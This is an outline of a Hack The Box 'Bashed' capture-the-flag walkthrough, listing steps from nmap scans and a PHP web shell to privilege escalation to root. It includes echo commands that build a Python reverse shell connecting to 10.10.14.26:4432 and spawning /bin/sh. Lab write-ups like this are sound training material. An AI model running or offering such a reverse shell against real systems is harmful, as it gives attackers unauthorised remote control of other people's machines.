Bashed by Hack The Box

1 Initial Nmap Scan

2 Nmap Follow Scan all HTTP Scripts

3 Apache 2.4.18 on Ubuntu

4 DEV Path

5 PHP Bash Shell

6 Enumeration

7 Create Shell

8 Host Shell

9 Web Delivery Metasploit

10 Upgrade-metasploit-meterpreter

11 Enumerate

12 Sudo -l

13 TTY Shell

14 Files-Owned-By-Scriptmanager

15 File Fun By Root

16 Spawn Shell As Scriptmanager

17 Content Discovery

18

echo 'import socket,subprocess,os' > test.py echo 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM)' >> test.py echo 's.connect(("10.10.14.26",4432)) ' >> test.py echo 'os.dup2(s.fileno(),0)' >> test.py echo 'os.dup2(s.fileno(),1)' >> test.py echo 'os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> test.py 

19 Got Root

20 Overide Test Py